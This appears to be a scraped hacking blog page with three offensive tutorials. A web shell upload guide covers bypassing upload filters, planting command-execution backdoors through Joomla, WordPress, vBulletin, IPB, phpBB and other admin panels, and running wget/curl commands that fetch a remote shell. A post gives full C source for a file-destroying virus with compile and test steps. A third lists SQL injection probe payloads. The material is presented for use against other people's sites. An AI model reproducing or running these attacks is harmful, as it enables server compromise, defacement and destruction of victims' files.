‪SHELL‬ ‪UPLOADING‬ ‪GUIDE‬: ( Full Tutorial)

‪SHELL‬ ‪UPLOADING‬ ‪GUIDE‬: ( Full Tutorial)

Many newbie’s face problem while uploading shell on a site after
getting admin access/ logging in to that site. So, I am writing this in
order to help them.
Basically shell gives us remote access to that server. Such shells are
available in different language like php, asp/aspx, cgi etc.So, we have
to choose a shell that will work on the server according to the server
script. If the server supports php shell then we have to choose any of
the php shell Otherwise asp & cgi.
now, let’s coMe to the Main point….
AFTER LOGGING IN TO THE SITE IF WE FOUND ANY UPLOAD OPTION IN THE SITE ,THEN WE CAN EASILY UPLOAD SHELL. But sometimes we have to do some
changes to upload a shell.
Way 1~~~~
AS THE SHELL IS IN PHP FORMAT, SOMETIMES SOME SITES DOES NOT ALLOW
UPLOADING SUCH SCRIPTS DIRECTLY WITH THE PHP EXTENSION. If so happens
then just rename the shell name. Add .gif/.jpg/.html/.doc etc.
Example: suppose before renaming the shell name was shell.php, then we
will rename it as shell.php.jpg or anything else.
Way 2~~~~
Upload a simple up loader shell first that isn’t detected by Antivirus
and firewalls. THEN UPLOAD YOUR SHELL THROUGH YOUR OWN SHELL. YOU CAN
DOWNLOAD A UP LOADER SHELL FROMhttp://www.rohitroy.my/(three)gb.com/FILE%20UPLOADER.zipWAY 3 ~~~~
FEW FIREWALL OF THE SERVER DETECTS THE SHELL SCRIPT BY CHECKING THE
headers & don’t allow us to upload a shell. so we can bypass it by using
“GIF89A SHELL SCRIPT BYPASS” Method.
open your shell in notepad. add “GIF89a;” without quote before the shell
code starts. liKe below…
GIF89a;
<?
code...
code...
code...
?>
Depending on what kind of file validation they are using this may fool
the Server Into thinking its a image since when it reads the file it finds
the gif header and assuMes its safe since it’s a iMage.
WAY4~~~~
this method is more advanced. This only works for client side filters
rather than server side. download firebug for Firefox, then edit the
html of the upload .
&lt;form enctype=\"multipart/form-data\" action=\"uploader.php\" method=\"POST\"&gt;
Upload DRP File:
&lt;input name=\"Upload Saved Replay\" type=\"file\" accept=\"*.jpg\"/&gt;&lt;br /&gt;
&lt;input type=\"submit\" value=\"Upload File\" /&gt;
&lt;/form&gt;
Change the filter accept. to *.* or just remove it completely , it will then
let you upload any type of file.
WAY 5~~~~
download “LIVE HTTP HEADERS” add-on first for your Firefox browser.
1. Rename your shell name to shell.php.jpg (or whatever
that site supports. In my case, site supports only jpg file.
That's why i renamed it to shell.php.jpg.)
2. Open Firefox & Start your Live HTTP Headers addon, after that
upload your shell.
3. Then your Live HTTP Headers will look something similar to this
4. Then click on the shell.php.jpg, after click on Reply button.
5. Then again a new window will open, in that window there will be two
boxes, but we have to work on second box.
6. In the second box, rename your shell.php.jpg to shell.php, then
again click on Reply button.
Now you have successfully done, only thing you have to do is to find the
shell path.
WAY 6~~~~
Find yourself a copy of edjpgcom.exe
"edjpgcom is a free Windows application that allows you to change (or
add) a JPEG comment in a JPEG file."
Usage:
--edjpgcom "filename.jpg"
Now add this to the jpg comment since you wont be able to drop a whole
shell in there due to limits etc.
";
system($_GET['cmd']);
echo "
";
?>
now rename your jpg to .php and upload.
WAY 7~~~~
Another way you can fool the web server into thinking your uploading a
image instead of a php shell is to get Firefox and install the
“tamper-data” Add on then click start tamper and upload your php shell
then tamper the data and change the content-Type from
'application/octet-stream' to 'image/jpeg'.
If u have any problem to upload a shell using tamper-data, then just do a
simple Google search. So many video tutorials on this is available in
web. So I am not explaining this step by step.
WAY 8~~~~
All the above mention way works when we find an upload button on the
site. but when there is no upload button, it’s not easy to upload a shell
there. we can try few things……
We have to find out if there is a edit option of an existing php/asp/aspx
page. If there is a edit option then open that page & delete whole script.
After that, open your shell in notepad. Copy the script, paste to that
page. Finally, save it. Now that link will be your shell.
possibly we can find edit option in the following pages of a site……
Contact us.php/ Contact us.asp
Class.php/ Class.asp
About us.php/about us.asp
Terms.php/terms.asp
nb: in soMe news, vehicles shelling, cart etc sites, don’t have any option
to upload a file after logging in through admin panel. They only allow
file upload after logging through cpanel.
WAY 9~~~~
SOME TIMES, IN SOME REMOTE FILE INCLUSION Vulnerable SITES, WE HAVE TO
EXECUTE A SHELL FROM ANOTHER HOSTING SITE. METHOD……..
1) UPLOAD YOUR SHELL IN A FREE HOSTING SITE LIKEwww.my(three)gb.com,
www.3owl.com, www.ripway.com, www.000webhost.com, etc.
2) Now suppose your shelled site link iswww.example.my(three)gb.com/c99.txt &
YOUR VULNERABLE SITE IS www.site.com3) Now we have to execute this following command to gain shell
access to that site.
http://www.site.com/v2/index.php…4) REPLACE THE SITE LINK IN THE COMMAND ACCORDING TO YOUR SHELL &
VULNERABLE SITE LINK.
SHELL UPLOADING IN joomla, wp, vb, smf, ipb,
mybb SITES
IN THOSE ABOVE MENTIONED SITE WE CANT FIND DIRECT UPLOAD OPTION
GENERALLY. SO WE HAVE TO DO THEM IN OTHER WAYS.
1.Joomla Site:~~~~~~~~~
After Login into admin-panel u will find Extensions on 5th No. expand this
click on it > template Manager > check on any template (like
beez,ja_purity)
Now click on Edit (right upper side)
after this click on Edit html
now paste ur shell code and click save...done
site.com/templates/template name/index.php
like site.com/templates/beez/index.php2.WordPress:~~~~~~~~~
login into admin panel
expand Appearance then click on editor > u will find style.css
now select 404.php on right side
paste ur shell code and click edit file
u can find shell in site.com/wp-content/themes/theme name u edit/404.php
3.Vbulletin:
1-Log in admin cp
2-Under “Plugins & Products”, select Add New Plugin
3-Adjust the settings as follows:
Product: vBulletin
Hook Location: global_start
Title: (Anything …)
Execution Order: 5
Code:
ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean(); Plugin is Active : Yes
4-After the plugin is added, go to the heading “Style and Design”, select
“Style Manager
5-Under whatever the default style is in the dropdown menu, select Edit
Templates.
6-Scroll Forum-home models and expand. Click [Customize] beside FORUM-HOME.
7-Search
Code:
$header
Somewhere near the top. Replace it with:
Code:
$header
$execcod
e
8-Now go to the forum and add after the index.php
Code:
?cmd=wget http://www.site.com/shell.txt;mv shell.txt shell.php
So it looks like
Code:
http://www.site.com/pathtoforum/index.php?cmd=wgethttp://www.site.com/shell.txt;mv shell.txt shell.php
What this does is shell.txt downloads, and renames shell.php
Now,
the shell must be located in the directory shell.php forums … If not,
then wget is disabled on that server, you can try alternative methods:
Code:
http://www.site.com/pathtoforum/index.php?cmd=curlhttp://www.site.com/shell.txt > shell.php
Code:
http://www.site.com/pathtoforum/index.php?cmd=GEThttp://www.site.com/shell.txt shell.php
4.SMF:~~~~~
login into admin-panel
u need to download any smf theme in zip format and put ur shell.php in it
and save
admin panel > select Themes and Layout > Install a new theme > browse and
upload theme thats have our shell.php smile emoticon
after upload shell will find > site.com/Themes/theme name/shell.php
5.IPB:~~~~
login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}}
When you add it, specify go on bottom
Now we go on:
http://www.site.com/index.php?app=core&module=helpAnd our code we add will be done, and you will get your shell @
www,site.com/cache/shell.php6.phpBB:
~~~~~~login into admin panel > go on styles -> templates -> edit, for Template
file choose faq_body.html
At down of:
<!-- INCLUDE overall_header.html -->
We add:
<!-- PHP -->fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->[php]
And save it.Now go on:
[php]www.site.com/forum/faq.php…l.txt
shell find in site path/shell.php
[/php]
Mybb forum
login admincp > Go to Templates and Styles, find default MyBB Theme is.
Then go to Templates,
expand templates that are used by the current theme.
Find Calendar templates,
click it. Click 'calender'. Above all the html code, paste this:
http://pastebin.com/eV1WngfMsave smile emoticon
shell will b find in site.com/calendar.phpnote: if u got error like "code is danger unable to edit "
then simply paste ur deface code to deface calendar.php
[[-==END==-]]

Read More

How to Create a Computer Virus? [{(Using C++)}]

How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb"); 
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}

This virus is designed to infect all types of files with any extension.

You can download the source code from the following link:

Download Source code

How the Virus Program Works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.

Read More

Part 2 Basic of SQL for SQL Injection!!

Basic of SQL for SQL Injection part 2

Welcome to the second part of basics of SQL for SQL injection. As in th last part we took this url "http://fakesite.com/report.php?id=23" as an example and then assumed some basic queries by looking at the URL. Our queries were:

select * from table_name where id=23

select * from table_name where id='23'

select * from table_name where id="23"

select * from table_name where id=(23)

select * from table_name where id=('23')

select * from table_name where id=("23")

You may also encounter your input under the columns or group/order by statements but they are not common, so we will discuss them later on. Now lets continue to next step how to test with different input and know which of the above query are we dealing with.

before we start we must know different types of comments used in SQLi.

Comment		Name
--	:	MySQL Linux Style
--+	:	MySQL Windows Style
#	:	Hash (URL encode while use)
--+-	:	SQL Comment
;	:	Null Byte
`	:	Backtick

So now lets start with out next phase. All what we need to do is input different injections and see how Application acts on it.

InformationRemember whenever the input is enclosed with single quotes only single quote with input will create error.
When input is enlcosed by double quotes a double qoute with input will give error.
When Input is not enlcosed with anything single quote and double quote both will give error.

First of all we can try our input with some injections to see if we get any error. Error may always not be real SQL error it may be some times generic error or change in output of the application. All you have to do it recognise it. 

MySQL Error Style:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

MSSQL ASPX Error:

Server Error in '/' Application

MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Oracle Error:

ORA-00933: SQL command not properly ended

ODBC Error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

PostgreSQL Error:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
or
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.

MS SQL Server: Error:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Now i will show you different tests to create errors and confirm which query is working inside the Application while using the same example "http://fakesite.com/report.php?id=23" url, You can perform these tests and check the reactions of the application:

select * from table_name where id=23

Input		Reaction if its Intiger Based Injection
23'	:	It should cause error or no output
"	:	Should cause error or no output
23 or 1=1	:	Any Output should come but may be different output
23 and 1=1	:	Same output should come
23 and false	:	No output
23 and true	:	Same Output
23--+	:	Same output. I used --+ to comment, later i ll show how to know which one to use
23 and true--+	:	Same output

If the Web application reacts same as shown above then you can make sure that the injection is intiger type. Now lets test for single quote enclosed input query.

select * from table_name where id='23'

Input		Reaction if its Single Qoute Based Injection
23'	:	It should cause error or no output
23"	:	No error Same output
23' or '1'='1	:	Any Output should come but may be different output
23' and '1'='1	:	Same output should come
23' and false--+	:	No output
23' and true--+	:	Same Output

If the Web application reacts same as shown above then you can make sure that the injection is single quote type. Now lets test for double quote enclosed input query.

select * from table_name where id="23"

Input		Reaction if its Double Qoute Based Injection
23'	:	No error Same output
23"	:	>It should cause error or no output
23" or "1"="1	:	Any Output should come but may be different output
23" and "1"="1	:	Same output should come
23" and false--+	:	No output
23" and true--+	:	Same Output

If the Web application reacts same as shown above then you can make sure that the injection is Double quote type. Now lets test for bracket enclosed initger based input query.

select * from table_name where id=(23)

Input		Reaction if its Intiger Based Bracket enclosed Injection
23'	:	It should cause error or no output
"	:	Should cause error or no output
23 or 1=1	:	Output should come but may be different output
23 and 1=1	:	Output should come but may be different output
23 and false	:	No output
23 and true	:	Same Output
23--+	:	Error or No output. Here you can understand that any Bracket is used
23)--+	:	Same output
23) and false--+	:	No output
23) and true--+	:	Same output

If the Web application reacts same as shown above then you can make sure that the injection is Intiger type with bracket Query. Now lets test for bracket enclosed Single Quote based input query.

select * from table_name where id=('23')

Input		Reaction if its bracket enclosed Single Quote based Injection
23'	:	It should cause error or no output
23"	:	No error Same output
23' or '1'='1	:	Any Output should come but may be different output
23' and '1'='1	:	Any Output should come but may be different output
23' and false--+	:	No output or error
23' and true--+	:	No output or error
23') and False--+	:	No output
23') and true--+	:	Same Output
23') or true--+	:	Output will come but may be different

If the Web application reacts same as shown above then you can make sure that the injection is bracket enclosed Single Quote based input query. Now lets test for bracket enclosed double Quote based input query.

select * from table_name where id=("23")

Input		Reaction if its bracket enclosed Double Quote based Injection
23'	:	No error Same output
23"	:	Error or No output
23" or "1"="1	:	Any Output should come but may be different output
23" and "1"="1	:	Any Output should come but may be different output
23" and false--+	:	No output or error
23" and true--+	:	No output or error
23") and False--+	:	No output
23") and true--+	:	Same Output
23") or true--+	:	Output will come but may be different

If the Web application reacts same as shown above then you can make sure that the injection is bracket enclosed double Quote based input query.

So here we just learn to check which query is working inside the application, in the next tutorial we will learn two things how to use the right comment operator and how and why to find the number of columns.
 

Read More